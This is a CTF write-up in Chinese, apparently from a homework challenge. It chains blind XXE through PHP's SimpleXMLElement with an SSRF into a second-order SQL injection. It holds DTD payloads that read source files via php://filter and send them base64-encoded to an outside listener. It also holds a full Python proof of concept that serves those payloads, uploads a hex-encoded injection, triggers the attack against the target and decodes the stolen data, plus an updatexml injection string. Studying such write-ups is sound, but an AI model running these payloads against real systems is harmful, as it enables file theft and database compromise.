## SimpleXMLElement 类XXE漏洞
首先是根据url格式和页面提示的calc类源码,猜测url参数是调用相关类和传入参数。
```
http://62.234.99.204:1006/show.php?module=calc&args[]=2&args[]=a&args[]=2
```
对原生类 `SimpleXMLElement` 进行调用,其中他的构造函数参数如下
`__construct(data,options,is_url,ns,is_prefix)`
<!---more--->
| 参数 | 描述 |
|:---:|:---:|
| data | 必需。形式良好的 XML 字符串或 XML 文档的路径或 URL。|
| options | 可选。规定附加的 Libxml 参数。
| is_url | 可选。规定 data 参数是否是 URL。默认是 false。|
| ns | 可选。|
| is_prefix | 可选。|
其中第一个参数url为自己服务器的xml文件,第二个参数随意填数字,可以找手册参考下,第三个参数必须为true,代表第一个参数为url
```
/show.php?module=SimpleXMLElement&args[]=http://193.8.83.174:34567/payload1.xml&args[]=4&args[]=true
```
> 第二个参数:https://www.php.net/manual/zh/libxml.constants.php
接下去就是按照常规blind xxe,进行读源码
> payload1.xml
```
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://111.111.111.111:23333/payload2.xml">
%remote; %intern; %xxe;
]>
```
> payload2.xml
```
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
<!ENTITY % intern "<!ENTITY % xxe SYSTEM 'http://111.111.111.111:23333/?data=%payl;'>">
```
逐个得到所有源码,开始审计
## 二次注入+XXE的SSRF
读源码,发现所有入库的参数,都经过`w_addslashes`过滤,并且在数据库语句中用单引号包裹,但是,只有在`function.php`的23行的sig参数,虽然有过滤,但是没有用单引号包裹,可以用hex编码传入字符串,包括单引号等特殊字符,不受`w_addslashes`影响。
并且,show.php中存在一个只能本地访问才可启用的方法,`$_GET['action']=="view"`时可以用`$_GET['filename']`读取上传的文件内容。在每次读取内容时,更新sig的值,此时带入了先前查询出的sig,虽然有单引号包裹,但可以由上一步的hex转码传入不受过滤的单引号,造成注入。
因此先上传一个文件,内容无所谓,但文件名必须不能重复。修改sig为hex编码的注入语句。
> xxrf的payload2.xml
```
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1/show.php?action=view&filename=上传的文件名称">
<!ENTITY % intern "<!ENTITY % xxe SYSTEM 'http://111.111.111.111:23333/?data=%payl;'>">
```
再次回弹,得到ssrf访问的页面内容,即可进行注入。可以采用报错注入。
流程到此结束。
## 代码
```python
from http.server import BaseHTTPRequestHandler
import http
import socketserver
import argparse
import base64
import socket
import _thread
import time
import re
import random
import string
import requests
class myhttpserver(BaseHTTPRequestHandler):
def respPayload(self, payloadid):
xml1 = '''<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://''' + "{}:{}".format(HOST, PORT) + '''/payload2.xml">
%remote; %intern; %xxe;
]>'''
xml2 = '''<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=''' + \
(("http://127.0.0.1/show.php?action=view&filename=" + UPFILE) if SSRF else PAYLOAD) + '''">
<!ENTITY % intern "<!ENTITY % xxe SYSTEM 'http://''' + "{}:{}".format(HOST, PORT) + '''/?data=%payl;'>">'''
if payloadid == 1:
print(xml1)
return xml1
else:
print(xml2)
return xml2
def do_GET(self):
# return all todos
re_recv_base64 = re.compile('''(?<=/\?data=).+''')
if (self.path.find("payload1.xml") != -1):
data = self.respPayload(1)
elif (self.path.find("payload2.xml") != -1):
data = self.respPayload(2)
elif (re_recv_base64.search(self.path)):
print("Recv Base64 data")
data = re_recv_base64.findall(self.path)[0]
data = base64.b64decode(data)
print(data)
data = "Bye"
else:
print(self.path)
self.send_error(404, "File not found.")
return
self.send_response(200)
self.send_header('Content-type', 'text/xml')
self.end_headers()
self.wfile.write(data.encode())
if data == "Bye":
httpd.shutdown()
def server_start():
global httpd
Handler = myhttpserver
httpd = socketserver.TCPServer(("", PORT), Handler)
print("serving at {}:{}".format(HOST, PORT))
httpd.serve_forever()
def sendpayload(payload):
time.sleep(2)
payload = "0x" + base64.b16encode(payload.encode()).decode()
headers = {"Cookie": "cookie-check=582bd94d1e69c38b4e4c8f20cfe8ddb1; user=zzaa"}
upfile_url = "http://62.234.99.204:1006/submit.php"
xxe_url = "http://62.234.99.204:1006/show.php?module=SimpleXMLElement&args[]=http://" + "{}:{}".format(HOST,
PORT) + "/payload1.xml&args[]=2&args[]=true"
files = {"file": (UPFILE, "data")}
data = {"sig": payload}
proxies = {"http": "127.0.0.1:8080"}
# r = requests.post(upfile_url, data=data, files=files, headers=headers, proxies=proxies)
r = requests.post(upfile_url, data=data, files=files, headers=headers)
time.sleep(1)
# r = requests.get(xxe_url, headers=headers, proxies=proxies)
r = requests.get(xxe_url, headers=headers)
def main():
global HOST
global PORT
global UPFILE
global SSRF
global PAYLOAD
parser = argparse.ArgumentParser(description='Write up for Homework')
parser.add_argument('-H', '--HOST', help='local ip', required=True)
parser.add_argument('-ssrf', '--SSRF', help='Is ssrf or xxe read file.', action="store_true")
parser.add_argument('-p', '--PAYLOAD', default="index.php",
help='The payload for SQL injection or the file path for XXE')
args = parser.parse_args()
SSRF = args.SSRF
HOST = args.HOST
PAYLOAD = args.PAYLOAD
# HOST = "0.0.0.0"
PORT = random.randint(20000, 65535)
UPFILE = "".join(random.sample(string.ascii_letters + string.digits, 8))
print("{}:{} {}".format(HOST, PORT, UPFILE))
_thread.start_new_thread(sendpayload, (PAYLOAD,))
server_start()
# listen_resp()
if __name__ == "__main__":
main()
```
> 需要独立ip的公网服务器上执行
> 测试环境python3.7
```
Usage:
python poc.py -H yourip -p config.php
python poc.py -H yourip -ssrf -p "' and updatexml(1,concat(0x7e,mid(((select flag from flag)),1,20),0x7e),1)#"
```
|